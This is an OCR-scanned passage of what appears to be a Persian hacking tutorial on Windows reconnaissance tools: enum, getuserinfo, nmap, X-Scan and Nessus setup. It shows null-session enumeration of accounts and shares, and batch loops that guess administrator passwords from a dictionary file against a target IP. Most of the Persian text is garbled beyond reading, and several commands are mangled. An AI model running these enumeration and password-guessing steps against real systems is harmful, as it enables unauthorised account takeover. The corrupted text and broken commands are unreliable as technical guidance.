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File Tools Help
&} Local Infa H[E Connections | & Ping | 8% Trace | & Lookup | 1T Finger | [ Whais | BEl Datime | €5 Time | @ Quote | &) HTML | Bll Scanner | i Services |

Huost: Jamir-r:p Refrezh

Fesponse: =1 amir-up
B User name: A

@ P address: 127.0.01 Z K(') 'N .

B winsock version: 1.1 4 - 00 3 Q’i’ I {:)El\;r{ll " (.: (._)111
B winzock high version: 2.2 -

B “wWinzock descrphion: “WinSock 2.0

-Gl WWW. TUR2.com

. @ UDF size: B5467
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Oped 4803
: Net Scan Tools -¥

& - MetScanTools 5.1

File Wew Help
MetScanToolz. Because pou reed bo know what's out thera. [bm)
Jrcns Intemet Links . i
Yieve int 1 l H
Toaks
Emal 4 Bug Bepart o Suggestion
= %y Tocks {alpha order) g v nelscantooss, com’
€ Database Tests Emal S ez Degarmant
OF Finger Emal Tech Suppor
AL Launcher
0 Mame Server Lookup =
B 1atBIOS Info N S T I 5 1
e etScanTools 5.
.~ Ping September 18, 2003
Puark Scanner
"m, Simple Servicas MNew
B TP Term HetScanTools Standard VWersion § has undergone a magor ntertace change.
Ty TimeSyne
2= Tracaroute +  The Auternated group (= for getting Informeation swithout hasing 1o knces: hose to gt
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O | Ti 4
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File Edit Help
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HmlNameulPAddless:| ﬂ List View | Help | Clear [

Dificesl Mame: | Recod last updated: |
[ramain Mame: | [atabase last updated: |
Record created |
Contact &l
IF &ddresses: Alases! Damairn Serveds:

Retrieve general information: about a host,
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- VisuvalRoute 2005 Trial Version Personal Edition

File Edil Options Tools Help
<Type a URL, Host IP, or e-mail ad nd press ‘Enter: =  IP Addresses | ~] & =

Address

VisualRoute report

WVisualRoute (R) 2005 Personal Edition (v8.25 build 2652%
Copyright (o) 1996- 2005 Yisyabware, Inc.
All rights resemnved.

gutchas g Sita
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.MIQ&IJJJIJ})\O )0 Gl 9 29 4dud Gl a4l
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Datas | Auitrsmashic - Ak, Save
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—

: Win finger print L)
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HW$nfingerprint GUI

Computer To Scan E numerstion Options
= oy | All (Shares. Users. Groups,
) [~ Shares

Output File =
[ Groups

File:
[ Entire Metwork: Meighbowood
[ Establish Mull Sessions

Winfmgerprint. exe [ Aagittsy Busiing
[T Semwices

Erowsze [ Users

Scan Launch ‘ Esi

) e e Jal 53 1y aulip o) LSl 31 0570 Jaih 4wl ol (5o AS dal 5 4S S dad 1 ) i SS9
Gl s 1 5800 la 43 8 () s e a3 ki Enumeration Option Cued 45 250 e 5 5 )\ Jal 5 G )l )31 a5 o)
S s 28 Gt aa 3t aa g pah ol e | Ol A R aS ) SUSL aLa 53l (o) gl 5 e 48 J sl an K111 oLa S
2L 4l o K Sl 8 il (55 s 43818 (S 5id) 43 (sl jaa Jlid Shares 408 $19191€ o 2y (5 11 s G 2yl Wil o5
a8 300 asd (o LS am LD 351 4l () 4SSl 1 oS a8l 43l (5) A B adl LT L 5 FFO sl Cuy s Sl Sa
e it o o 4y R ailiadie a8 ol A A L Ga ol s 4 O 550 Jle w5 5w g 5 pandi (5 )IS 4S Gl Role
sl a3 )y User 5 8l 258 il | ) AL 4 )8 L 2 | jal 4y 38 Gl sas o Dlay Glasd lad 5115 0 s Led 5005 Cida 2
L 50258 (RS | dhupes (0 3 S 3l St 5 (SID) (sminstus 4cslih 4 K (1 4S Sl USER NAME g8 sla 43 50 5 a0a
s s ol 48 Sl Services 4R padie 18 w350 48 6 804 R S g 15 (STD=500 ) alusa jide 4nlid 1) gise
bl Sl (gl La 434S il gl 4 8 ol IS aS ) Sessions 4 S a4 R 8 R e ledr | I o Ao Ol Jlad sl
o )0 s <S4S Gl Registry e 4 8 283 e 4y Casd Jeale dale pluns 434S ) ) 353 90 (4 e ls NetBIOS
S (sl a4 da 51 L Ol pee sl 40 8 53 4500 ) 358 mSe 543 L e ) Registry 43 s ol ) (omy Cansd o 3l 48l
L 2,58 (e O 20 iy 1€ (63 T L (s 055 S0 5 S | pa) (e lad aad l Lt ) ) (0 58 Ly () 4y i€ a4 ol
14
joeware Ll »
(e 4S 3 S o JLaI 4ty 42 58 Joe Richards sl bav 55 48 joeware ) o 4 sana 43 S (A yaa () sine 35355 (5) 30 4S (5 K ) )
O (s ol QA A4S 3 )l a5y sl )l 3l ¢ 4e e () 43 Get User Info b 43 aiS (e odliind 2 515l ) 50 G ) Se
_ajjgemuu&gaqqﬂwdﬁ@gqud‘ Ge sl ) ol ) JS G apld s S
1 net lelasd () lad ) a5l al g2 L8148 j5ah5 353 Net user cha s 4nd s O s ) Sl duals (o253 1) o
S UL )58 a5 o) ) ad ) 4SS Solae 4y Ol e )y ) 3l 0ol 48 31 (bl (LT g (5 e S (N5 ¢ adame a5
Ao b4y () x4 Administrator
C: \> getuserinfo.exe administrator
Getuserlnfo V02.05.00cpp Joe Richards (joe@joeware.ne)

January 2002

User information for [Local]\administrator

User Name Administrator

Full Name

Description Built-in account for

administrating
the Computer/domain
Users Comment
User Type Admin
Enhanced Authority
Account Type Global
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Workstations
Home Directory
L User Profile
Logon Script

Flags NO_PWD_EXPIRE
Account Expires Never

Password age in days 249

Password last set 7/6/2001 3:22 PM
Bad PWD count 0

Num logons (this machine) 2432

Last logon 3/12/2002 8:24 PM
Logon hours All

Global group memberships *None
Local group memberships *Administrators
Completed .

sl JJ.\&JJASQ\.M\ DJ‘)"‘Q.MJ..}‘)J_}GMSDJ\_.!JJ é@ﬁb&bm‘ V‘a\ bJ\JOLﬁJJJLiL}\‘)Net user L1 4ali ol (sled olés
ey dalad san i 6l 1) Le LIS 48 s (ilad Num logons (this machine) s Bad PWD count s Password age in days
Jd8 2 sa () lase 5258 (i yd ) gue A4S A b (gl (B ) () il 4S &K ol sise | Bad PWD count alé | xS <l
225 0355 st le ) Password age in days 2l 2anw Gl | olidl S (o 58 S0 i el adausd g ) Cila 04
L Ol sl 2l g () s Gialad 1) Gl () Jas 68 (pdile 49 (520 3 ) 5 lada 3223 Num logons alid | dade L& jy ) caea
! piSan o3l 5 s 51 1 o5

C:\>Getuserinfo.exe \.
i Se s Dl 4K 23iSCa sl

C:\>Getuserinfo.exe \.

Getuserinfo V02.05.00cpp Joe Richards (joe@joeware.ne)
January 2002

User Accounts For [Local]

Administrator Orc Skycladgirl
Test __Vmware user

A4S &) gea ) 42 Remote a2 Sl Local aa )l ol 4S 23S S8 ol s
C:\> Getuserinfo.exe \\ x.x.x.x\.
C:\> Getuserinfo.exe domain \\x.x.x.x\.
(g )y oA plaia s cam P o el XX XX sl ) e i ) H e ki s ) s [P sla S G Biga ol i
8 1 e e Sal 5 i (L) sl 40 1D oS OF sl ) e oIS Cal 03 51 ooy 1 ey 44)
: ENUM L) 3!
o) ENUM Cost ob 38 53 (sl (sl )l 45l 48 2380 (8 je 48 s S0 )0
D18 a0 i Jie ol 5 Ledi Cad 38310 < jad ay (3L &) Gy ol 8cen Gy 2 0 sla XS 5005 S S g 55 51 )l
Gl 2l 358 () o B il 23l 5L YT s 2 1l Ol L 3688 (512 4S ar S0 1) Cl AR ) C 4y O sl S s sla
11 03 (o penia 58 1) Ll 4at allio 55 Jie (30 A0 AS ol iy )38 458 0l (sl 43 K 2l S s
a3 e al (55l aan ) 4B JIS sl i p S a5 ) e 4alS e lad 31 (5 De ol 3l e el 0ol slelild
ol Gl 1) a4l p 2 1pal gl g lad 50 89 addue muia g aa 1 s Al ) a0 ea 40 i ) JLid Dlad (e 4S sl Caa
C :\> enum.exc
Usage: enum.exe [switches] [hostname | ip]
-U: get user list
-M: get machine list
-N: get name list dump (different from -U | -M)
-S: get share list
-P: get password policy information
-G: get group and member list
-L: get LSA policy information
-D: dictionary crack, needs -u and -f
-d: he detailed, applies to -U and -s
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-c: don’t cancel sessions

-U: specify username to use (default ™)
-p: specify password to use (default ")
-f: specify dictfile to use (wants D)

M), a2 a6 il (oS Sqallin )5 DA 5 0 (e (o dnda () 4S
) ol (L Cay LB FFO L 5 V¥ ) e B sk O TPCS S yidie aia 48 Gl G L " ayiSaa " Jl A K (V) iy
2 NULL g 53 ) (L8 4al s 5 4abijo gl 2t (A8 L Le Jlail aiidl ), 23S e (59l gan Lo ()0 00 o o )by | e Sl
e w8 A8 M Clsa Loy Dl g Candd ol (Sl o L4k RV (il (51 ) (onsl uliils
C:\ enum.exe UMNSPGLD 192.168.0.3
aiSre ool 4 98e A€ LS 5l ) Slae e il JSiie (0 a4 3o 5 3L ) L s (s Gl Gy s () a1 4S ) shailas
(e o35 0aliiul | ) UPG sl s ) (S 5 (e e,
C :\> enum UPG XXX XXX.XXX.XXX
Server: XXX.XXX.XXX.XXX

Password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
getting user list (pass 1, index 0) . . . success, got 5.
Administrator Guest IUSR_ALPHA IWAN ALPHA
Tslternet User
Group: Administrators
ALPHA \ Administrator
Group: Guests
ALPHA\ Guest
ALPHA\ Ts Internet User
ALPHA\ IUSR_ALPHA
ALPHA\ IWAM_ ALPHA
Group: Power Users
0 (3 53 g A4S ol midal 5, al Sl Gadle () AS g 3 (o0 E sse O3l 40 (3 )5 bashd da g adaud s 40 i (0 4S ) shailes
D18 a3 48w yue (e ( IWAN ALPHA 3 IUSR_ALPHA ) sba 4l aa g L 53 )lai aa g aalea Ja g 4alS Cun i (g0 ) eas
T80 23 S s |y 58) ol il Sile g 53 TIS Gy 40 8 Jlaia) (WEB ) s 02083 (g g
A3 e L4y ) Terminal Services s sm Cullad ) A Tslternet User 43l 5
D s e ma S A 6 80 s s S 5SS ama e sl
C :\> enum.exe MNS XXX.XXX.XXX.XXX
Server: XXX.XXX.XXX.XXX
Setting up session ... success.
Getting namelist (pass 1) ... got 5, 0 left:
Administrator Guest [USR_ ALPHA IWAM_ALPHA
TsInternetUser
Enumerating shares (pass 1) ... got 3 shares, 0 left:
IPCS$ ADMINS C$
GETTING MACHINE LIST (PASS 1,INDEX 0) ... SUCCESS , GOT 0.
CLEANING UP ... SUCCESS.

Cle Mal 4y aa g Lasidl aﬁ‘)m“}_}j\)m\éh\ ijd)ﬁmeuaﬁyu\ﬁjﬁwﬁwﬁo}% A;\.t:\.\‘sa‘ﬂs‘)jhm
22 0313 (ilad C§ ) om0 Aali s (o2 502 )3 4S Cal 3l gl 50 SG s pla Jad Hlai 3 ) g aliasas 482 ) Gy 4y (8 (s () s YU
Web  adaal L " g i ady )" a8 b 8 aaii 55 () O)sS (oo (2002 o IS pdls (e ) e Dl ol 4 dn i L, o
) S 3 a0l 3l Lad 49 48 S 5 ol L 3l 18 C:\Winnt\temSys32 Cusd g 52 5 sl 53 (et 55 ¢ 328 document root
2 e Sl i o) o L 4k 8 ol cyghifl 5 Bl Gl (o GBI 4 Aa 5 L Gy 2 IS La geadie g 02083 Gy g s e
cae 8L sl 3 (LSA L s Local Security Authority ) (s sl 50 Cup O jal (pdedad 3 50

N Al Hse e,y 388 (SID=500) e Clun dS 35l 5)das) (a2 )) e b le) Gl (San 08
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A2 1A (i 23 1 e sad 4y S S llid 4 da g e e Sl (55 e —p 5w 4R R 52 Ol oS e b
C:\>enum.exe ~-UMNSPGL —u administrator —p " " XXX.XXX.XXX.XXX

MY i K

o= ) Jls 4 U laia, 38 3 a5 A Blai (sl gm0 sde Glaa B ) v 5 (02 ISP i) 48 mfaa o Jlalsy s 0
525 ot S (o0l ) gae 4SOl ) 3a (S 2 ))) (el i adal 54 3858 ((administrator) e Clus 4S il
8 et S e Gl @y ) L nde e 4elS CRES (o) S laial | 3 (il B g s gy s S 3585 3 giine Sy (et
483008 Ciyh )y e ol (5353 W 4< Passport/administrator U 42 Windows Resource Kit (s ) 8 a_ 4w 50 Cava
COBA L S ad

) s Gl 4 anSae saldinl ) led )3 se () 5o ot an (11 6S e s ) DS AR AS 3 6 5 Gl b s 4alS RES (6
C:\>enum.exe —D —u Administrator —f dict.txt
) oo aa dict.doc csla 4e s 28 Sl 8 edliinl 3y ) ) 580 1S AU a4 administrator S Al sl 4o 25l sise Ladi 4S
LSl s 1) a8 alea (5 IS )l Kl i ol 5 (i 4 les 53 il (ol 450 ) s
QmAASJﬁ&\M;A..\‘;\:ﬁA\LgLAMQM ;\u\_uLu.u\AJ\J&AASJ;LJ@LAJCQA}JM@AAS&M\JﬁM&L&g\.u;tg\)g&.g\g)';
DS S e L e A TS dn 2l e padidie (o) D 43 358 (e J8 i 50 4 0Lad) (535S 015 )l 2 dlaad
Sl ol Sl 0) ¢ v (g o sdine ) la IS cpl Cade ald e AL AS s b (e Lel ol Jlae S
i 48 dragh (o0 2 )l a8 HleDal LiaS 0y gl oo Gty —p s L) e 4alS leiubin )L aaae (5 5al Jie oL sa
Lo 4 o iy 4l (5058 050 5 L (Aa e ol 53 ) 258 (e JEARE Fo () o Clua oLl ) gie 4l L0 0 S ol g adauid 5
waau?lm\ﬁjjth)\)Ew\g\ﬁ(J\JJPAASJA_;;)&GAJM\Q.\AQ:\\)qé;l_)}a}&‘;@u\qeag._a\.u;‘x_.m})} Ol
2 (Sleep sali & D) saldil L) oS

C :\>>For /F %%p in (dict.exe) do enum.exe ulstari p %% p M XXX.XXX.XXX.XXX >> output.txt && sleep
180s
___jﬁuu,ﬂ.u;j);ﬁl.juﬁ)&euewmagﬁt_ﬁ.&s\)aj)geh sl Claa il 8 e Jal y 4 aS Gl -G @j.uan_i.)u);
G oM Al R Al (LS b 3l e iy 3 5 IS Jlie cl ) 430 G ol 50 W Led LR 3 ) aa A oasbasl 49 508 U G
il ek (51 oS (sleali 31 oS JBlas (sl e 4l S Dy Olaind 2 | Timit S Syma bl oS ol sl L ) (2
: ariSe ool 3 las 3l YL Jilise 44 s L 43S 0l ) edliid (s (11 nagdy (i 5A | Anmd ) (sl )

C:\> for /F %%p in ( dict.txt ) do for /F %%u in (users.txt) do enum.exe %% u in (usres.txt) do enum.exe u
%%u  p %%p M XXX.XXX.XXX.XXX >> output.txt

2l K5 Ol S Al s sla Qi g (4alS (5 5iaS 2o ) S oS e SlalS sola B aS au jia R gz o) 4y (88 ) 0
A)\J.}d&.&\u\e\aA)S})):u\Jr‘;d};d‘uM)ASJQ\S.}A.«C\M&ALH\ijuv\;femdem\};:mﬁ_\;.mw\a)bjdéﬁ\dﬁuy\up
O an 1y o i e S IS a5 | W sm SO ] 25 4SS andioan) HAS Jsl Ol a8 ol o) o) Sl e a1y adans
ol e b a8 Ol S Aa e 18 O
: Pstools J) n) 4
4_.:@Swpajeﬁwo\ﬁjﬁﬁbM\@@Lﬁuaoﬁa};ykﬁm\PstoolsJ\}\m@qgg?m\}#c\stgn_;)\)’g\g)s
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C:\Program FiTles\NMapwin\bin>nmap.exe

Nmap V. 3.00 Usage: nmap [Scan Type(s)] [Options] <host or net Tist>]

Some Common Scan Types ('*' options require root privileges)

* -sS TCP SYN stealth port scan (default if privileged (root))
-sT TCP connect() port scan (default for unprivileged users)
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* -sU UDP port scan .

-sP ping scan (Find any reachable machines)
* -sF,-sX,-SN Stealth FIN, Xmas, or Null scan (experts only)
-SR/-I RPC/Identd scan (use with other scan types)

Some Common Options (none are required, most can be combined):

* -0 Use TCP/IP fingerprinting to guess remote operating system
-p <range> ports to scan. Example range: '1-1024,1080,6666,31337"'
-F only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-P0 Don't ping hosts (needed to scan www.microsoft.com and others)

* -Ddecoy_hostl,decoy2[,...] Hide scan using many decoys
-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes resolve]
-oN/-0X/-0G <logfile> output normal/XML/grepable scan logs to <logfile>
-iL <inputfile> Get targets from file; Use '-' for stdin

* -S <your_IP>/-e <devicename> Specify source address or network interface
--interactive Go into interactive mode (then press h for help)
--win_help windows-specific features

Example: nmap -v -sS -0 www.my.com 192.168.0.0/16 '192.88-90.%.*"'

SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES
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ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)

- http://ntsecurity.nu/toolbox/ipeye/
Error: Too few parameters.
Usage:

ipEye <target IP> <scantype> -p <port> [optional parameters]

ipEye <target IP> <scantype> -p <from port> <to port>

[optional parameters]
<scantype> is one of the following:

-syn = SYN scan ( ¢! 4d>y0 g0 SLSS Gwd ailoe® @ogy )

-fin = FIN scan ( 5,53 £ Hoddog 330 40 JSTOa,y Jew!l ail )
-null = Null scan (25,43 £ Jaddog 230 4 JSS55 Jawl @ais )

-xmas = Xmas scan>br> ( 2,43 £ Hoddog 050 4 JSTeuy Joewl @il )

scans don't work against Windows systems.

[optional parameters] are selected from the following:

-sip <source IP> = source IP for the scan
-sp <source port> = source port for the scan
-d <delay in ms> = delay between scanned ports in milliseconds

(default set to 750 ms)
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ipEye <target IP> <scantype> -p <port> [optional parameters]
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H}&M&_\u\ FTP 4< Y QJ}}L}Qﬁu@@telnetJNCMUﬁgﬁh\Muc J)JWJJMUH):\AJUAJA
C \> telnet xXX.XXX.XXX.XXX 21
C \> NC —v XXX.XXX.XXX.XXX 21
P e a8 8l Jg) 4l Gl 2 s
Connected t0 XXXXXXXXXX
220 ftp29 FTP server (UNIX(r) System V Release4.0) ready.
SYST
215 UNIX Type: L8 Version: SUNOS
dsae (L aS ol () ) ). 250a oaldin) (283 Guyg s 510 6V Aali i dn D) 5 dale s & s3da ) ) (3l 4S midagd Lo asa
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cwiSan g ) JdBedr aiS g g4l s (Hyper Text Transfer Protocol ) ¢fe |
C :\> Telnet.exe xxx.xxx.xxx.xxx 80
Connecting To XXX.XXX.XXX.XXX

HTTP/ 1.1 200 OK
Date: Tue. 29 Jun 2002 07:18:07
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Server: Apache /1.3.14 (UNIX) (Red-hat/Linux)
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C:\>ping XXX.XXX.XXX.XXX

Pinging xxx.xxx.xxx.xxx with 32 bytes of data:

Reply from xxx.xxx.xxx.xxx: bytes=32 time<Ims TTL=128
Reply from xxx.xxx.xxx.xxx: bytes=32 time<Ims TTL=128
Reply from xxx.xxx.xxx.xxx: bytes=32 time<Ims TTL=128
Reply from xxx.xxx.xxx.xxx: bytes=32 time<Ims TTL=128

Ping statistics for XXX.XXX.XXX.XXX :
Packets: Sent = 4, Received =4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = Oms, Maximum = Oms, Average = Oms

Jule alusus ol TTL _)ss
Windows 9x/NT Intel 32
Windows XP PRO & Home 128
Windows 2000 128
Digital Unix 4.0 Alpha 60
Unisys x Mainframe 64
Linux 2.2.x Intel 64 64
FTX(UNIX) 3.3STRTUS 64 64
SCO Compaq 64
Netware 4.11 Intel 128
AIX 4.3.X IBM/R6000 60
AIX 4.2.X IBM/R6000 60
Cisco 11.2 7507 60

Cisco 12.0 2514255
IRIX 6.x SGI 60
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5 pn g oIS ) ailasad e it Ll ) s ol i allae 4S 1A Ba e 40 Gl Lal ol sy Lol 49 U lldae (K308 4 la J 58
JSiia (a1 IS o) 53 e aladl 4 K W a3ailSe 5 b Cillee (l Slial AS dpagids Laski U Gl (l 30 (0 (g2 Gania )3 [ 5l 4a
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% B-Sean w1 GUI = ,.-ng":g}
Fie Confi] Wiew Took Language Help |
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-
-Scan-yvd, 1 Lssr Manua j
1. Systern requrement: Windows NT4/2000/%P (2003

2, Introdiction

W-Scan = a gerera network vulnerablites scanner for scanning network: vuinerabltes for specific B
ara supportable and GUT or OU1 programs are separately provided, The folowing items can be scannec
waak userfpassword par, and Jll of the nessus attack soripts combination. For the most knoen vuines
iother vuinerabiities, please refer to "Documnent™ and "vunerabilty enging” in wenw sfocus.ong.

wWe provided a smple S0 in X-Scan 3.0 for the purposs of fend: can develop plug-in: expedient!
lug-n SOK s the sample phao-in cocke from this ek “hetp: essnw. kfacus, net/projects)-Sean fincke

3. Componants:

e i =

A

Adni S sl g la S 63l (gl 3 ceealn |y L S aSxscan gui pb 4o ol sdbu (5 S dal ) S 511y X-Scan 4l n
G Oephad i)l JlanaS A€ s b i sl iwga ) le i lad adi (e 4S8 Xscan pb 4 (e i had

(S e o2l
C:\X-Scan-v3.1>xscan.exe

Usage: xscan -host <startIP>[-<endIP>] <module> [option]
xscan -file <host_list_file> <module> [option]

<module> means:
-active : check if the target host is active
-port : check the status of tcp port
-smb  : check NT-Server weak password
-netbios : check Netbios information
-snmp : check SNMP information

-0s : check target OS version
-ftp  : check FTP-Server weak password
-pub  : Check anonymous pub write permission

-pop3 : check POP3-Server weak password
-smtp : check SMTP-Server vulnerability
-sql  : check SQL-Server weak password
-iis  : check IIS encode/decode vulnerability
-cgi  :check cgi vulnerability

-nasl  :load Nessus Attack Scripts

-all  : check all vulnerability

[option] means:
-i <interface_number>: set network interface
-1: list network interface to get the <interface number>
-v: display verbose information
-p: skip host when no response
-0: skip host when no opened port be found
-t <thread_count[,host_count]>: specify the maximal thread count and host count, default is 100,10
-log <report_file>: specify the report filename, text or html format

Example:
xscan -host xxx.xxx.1.1-xxx.xxx.254.254 -all
xscan -host xxx.xxx.1.1-xxx.xxx.254.254 -port -smb -p -t 100
xscan -file host.Ist -port -cgi -t 100,5 -v -0
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: NeWT Security Scanner 4<b_» Nessus sk g 43

D i e ol S ISE ) ) A1 8 o)

WT Ssumily SO

NeWT Security Scanner

W 1

Welcome to Tenable NeWT Security Scanner

HewT |53 comolete network vuinarabdity scanner which indusdes high-speed dhecks
For moerg than 4,000 of tha most commanly updated sulnerabibes, a wide vanaty of
scanring opbans, an easy-to-use rierface, anrd effective reoortng.

[3 Haw Scan Task

b View Repsres Wi £an ESAM 3 new scan by selectng "Mew scan Capkt. Al scan resuts will be

srtomaticaly saved, and you an open them again by seloting “Wew naparts”,

& conhigura hewT

Haw Scan Task

Other Oplions
Wt Address Boak

ﬂ Wimw REparts

W Managa Plugins

Carfagure MatalT

W Update Fugins

Son Also
& HaWT Help

o About NewT
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AT RPN J'\Aa__MSQu\NeWTCmdeUA.;MUJgdgEQu\Lg‘ﬁ\qdf\a\.’i,ﬁdﬁ&u\Lg_),\‘)\s.ia,\bu_&:\d\)\d?ﬁuu)g@\

C:\Tenable\NeWT>NeWTCmd.exe
NeWTCmd 2.1 -- Copyright (C) 2003 - 2004 Tenable Network Security

Usage: NeWTCmd [scan target] <plugin set name>
Please use quotation mark if the name of the plugin set contains whitespace.
If no plugin set specified, 'allsafe' will be used by default.

Examples are:

NeWTCmd localhost allsafe

NeWTCmd 192.168.0.1-192.168.0.10 all
NeWTCmd 192.168.0.1-192.168.0.10 "Port Scan"

Gl 0 o S 5 Ghansl 48003 X-Scan B 2 laa) 48 diaghie 2ay 23350 anlie S0 YL 18 o 3 L ol 4S g ) g2l
i) Gy o gl S axy il salai )3 Nessus
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ﬂ} Tenable NeWT Security Scanner

Tenable Vuinerability

«z» NeWT Security Scanner ' Remediation

Jenchle Nelet Please enter the target you want to scan

@ Welcome You can specify a single hostlhostnarne or IP), a list of hosts separated

by comma, an IP range, or a network address, (See Examples
3@ Mew Scan Task 0 4 ( Rles)
For frequently used addresses, Address Book can help you to manage

& view Reports them {address book entries will show up in the drop down list below),

Configure MNe'WT If you want to import target from a file instead, click Here,

Other Options
1 Address Book

217.216.197.8 -]

‘EE" Manage Plugins

et x|

N

‘&' Update Flugins
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Copyright @ 2003-2004 Tenable Metwok Security, Al ights rezenced. |
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D eae 5l 2 bl B ALl) g mua 5 aae ) B 258 Allie 0l Of S e Slay

http://www.tur2.com/articles/n13810631.htm ; 4llic Sad

;(C'_m\ aq&dJ\aa}sﬁadea)}T}}m\aJﬁan‘uuﬁMMJﬁﬁ)d&Qﬁa
CpuS wai Sk
Mio . augaieswo Sl 1l03,S sedugls gl g, LB aS 5,638 ul> @ g 05,5 5UL 95 ywSeid shell Vs .acwl 05,3 login (uSei) @ super-user (siss root sgo ;5 LU Yol

T agicswe «1l03,S solugls o5 Julé /root/Desktop ,s 3|

# cd /root/Desktop

ugicswe 95 ) giws V>
# sh nessus-installer.sh
M0 SU axswn duw,uo L @ aS sbo aag Hasil aSiul hsd aliswos SU axan aill) sk )y aiig 9 o SU axan alolBW

Welcome to the Nessus Installation Script !
This script will install Nessus 2.0.7 (STABLE) on your system.

Please note that you will need root privileges at some point so that

the installation can complete.

Nessus 1is released under the version 2 of the GNU General Public License

(see http://www.gnu.org/licences/gpl.html for details).

To get the latest version of Nessus, visit http://www.nessus.org

Press ENTER to continue
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3l 505 o 9 0l S| axss 9 Ao ALbgl Wiy 9 Wy Spw A L Auddesw ,Lad g, Enter aoSs

Nessus installation : installation location

Where do you want the whole Nessus package to be installed ?

[/usr/local]

1leo L5 Aigi 9 Ao S axss Vs .ain wuas fusr/local wsiss (o0 s J=x0 55 aS G HLind g, Enter anSs o SouS wuai xS gy Nessus as aSio ¢l

Nessus installation : Ready to install

Nessus is now ready to be installed on this host.

The installation process will first compile it then install it

Press ENTER to continue
Oygo 4 o Uex sy s el Tl Wl ) i pecs wuxl)l a8 aiSie b i pSu agdsoul (sl 1iScso Vb Halb @ ggyrd OO, 9 Wy LB5L
S eobiwl asds iz 9 G Usas awly ol 4 gugicee Y (wSs Obs o) UeISY o)la (s Mol puiSiee wal puls Suilegil

i Halb 5 Axbo (A 90l i LIS (sudg

Nessus installation : Finished

Congratulations ! Nessus is now installed on this host

Create a nessusd certificate using /usr/local/sbin/nessus-mkcert
Add a nessusd user use /usr/local/sbin/nessus-adduser

Start the Nessus daemon (nessusd) use /usr/local/sbin/nessusd -D
Start the Nessus client (nessus) use /usr/local/bin/nessus

To uninstall Nessus, use /usr/local/sbin/uninstall-nessus

Remember to invoke 'nessus-update-plugins' periodically to update your

list of plugins

A step by step demo of Nessus is available at

http://www.nessus.org/demo/

Press ENTER to quit

P 2wl A4S o)l sopo wleMbl ,5] axsn ol LAin oo waai aS s Enter a

qu|QL02‘)J9
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Create a nessusd certificate using /usr/local/sbin/nessus-mkcert
- VEWS. VR V) Shell > b U
# /usr/local/sbin/nessus-mkcert

raliuo b 5 Gis 9 0auk Sb axas puwi Enter (suidg

This script will now ask you the relevant information to create the SSL
certificate of Nessus. Note that this information will *NOT* be sent to
anybody (everything stays local), but anyone with the ability to connect to your

Nessus daemon will be able to retrieve this information.

CA certificate life time in days [1460]:
1) Wygo A .Auin pead certification slayl IS U auwisswo wuwiy @ Enter B 5 LIS 31 b sy 5l
CA certificate life time in days [1460]:
Server certificate life time in days [365]:
Your country (two letter code) [FR]:
Your state or province name [none]:
Your location (e.g. town) [Paris]:
Your organization [Nessus Users United]:

Slo 4 Axbo A

Congratulations. Your server certificate was properly created.

/usr/local/etc/nessus/nessusd.conf updated

The following files were created

Certification authority
Certificate = /usr/local/com/nessus/CA/cacert.pem

Private key = /usr/local/var/nessus/CA/cakey.pem

Nessus Server
Certificate = /usr/local/com/nessus/CA/servercert.pem

Private key = /usr/local/var/nessus/CA/serverkey.pem

Press [ENTER] to exit
w0900 LS U cowsse od g, Enter ol Vs
P AS puiS Caw)yd NESSUS ,9,w S, User <y b Vs . ous,S cow)> Nessus sl SSL Certificate o 9 045, )=l 9, nessus-installer.sh pa V> U lo gy

S s oslaswl 5 Heiws 51 L8l Sy ewS login l38le s @ gl (gu,b 5l lasy
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# /usr/local/sbin/nessus-adduser
i yalb 5 oo seiws il Shxl paxo @

Add a new nessusd user

Login
3o 505 sbw 3=y 9 prS i 3l9 95 Lk 3)90 el LGS 3)lg UsErname S sisy o0l
Authentication (pass/cert) [pass]
b 5 slw J=) . Agey PASS (i LO O Used aS puijese ENter bo .auil (s caiwingd g, iy o0l
Login password
Sy9uy U,S 3)l9 @890 * LiSLIS 51 ) dwngiy 95 Sy9um Y Tiic @y oS @y sy ccwly @ 0S5 g a2y a4 055 @y Jgl oS 3519 95 5300 WSl Sy 2L Ll
(Lounisl s 9) powlo puod Awly s Sy
1o Lol i cul Vs

User rules

nessusd has a rules system which allows you to restrict the hosts
that ali has the right to test. For instance, you may want

him to be able to scan his own host only.

Please see the nessus-adduser (8) man page for the rules syntax

Enter the rules for this user, and hit ctrl-D once you are done

(the user can have an empty rules set)
LLid o) Crl-D Sy oy ciows o3V Med (sJg oS sgae g S Sowl Agise aS (sl aiols aS S i User awlg Rules oS,w @ aiuo bl

Login I XXXXXXXXKXX
Password YYYYVYYYYY
DN

Rules

Is that ok ? (y/n) [yl
sy pgei LIS aS puisese Enter a

1L cuai iy Guod @ NESSUS 13800, oS o Susw

SpuS I)>1 | nessus S, 9> V> .05, wuai 9 19100 -

nessus wgl a4, as Nessus ,9,w Ws,S Ll Sl .auS >l g, NEssUS g,w 1L Jgl S oslaiwl Nessus I ¢ulez aSl (auSsw restart g, igaolS as L ,a -)
Lo GI O ) ) y9iwd (S Nessusd anMs JS.i @ | daemon
# /usr/local/sbin/nessusd -D
o Sslalel, nessus g,w wsal, ool @
13gubigswo o3lasiwl 55 peiws 51 LB Gl Shy S =l puigicae nlsse aS wiMS U iz )0 aSil ppo aiSS puiSese b2l g, i MS V> -V
# /usr/local/bin/nessus

owl il SLW8lLS s 5l esleiwl (sJg S LS pd i el > NeSsUS aS auS asgi Ao Lol 13810, 0,y Heiws ol ShL=l L
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22003 (g o Ol | (sl Jsan U 250 aud) s o 8 il (5 8 IS0 4y ol Caan 221 g pas Ly 5 el (el (sl 220S (IS oK
LGl Caaa od&bauagj‘)uo‘)\.)‘)dd:\énﬁl&%\M%x}_ﬁ‘)}\&u&,\QM

C:\>nbtstat

Displays protocol statistics and current TCP/IP connections using NBT
(NetBIOS over TCP/IP).

NBTSTAT [ [-a RemoteName] [-A IP address] [-c] [-n]
[-r] [-R] [-RR] [-s] [-S] [interval] ]

-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its

IP address.
-c (cache) Lists NBT's cache of remote [machine] names and their [P
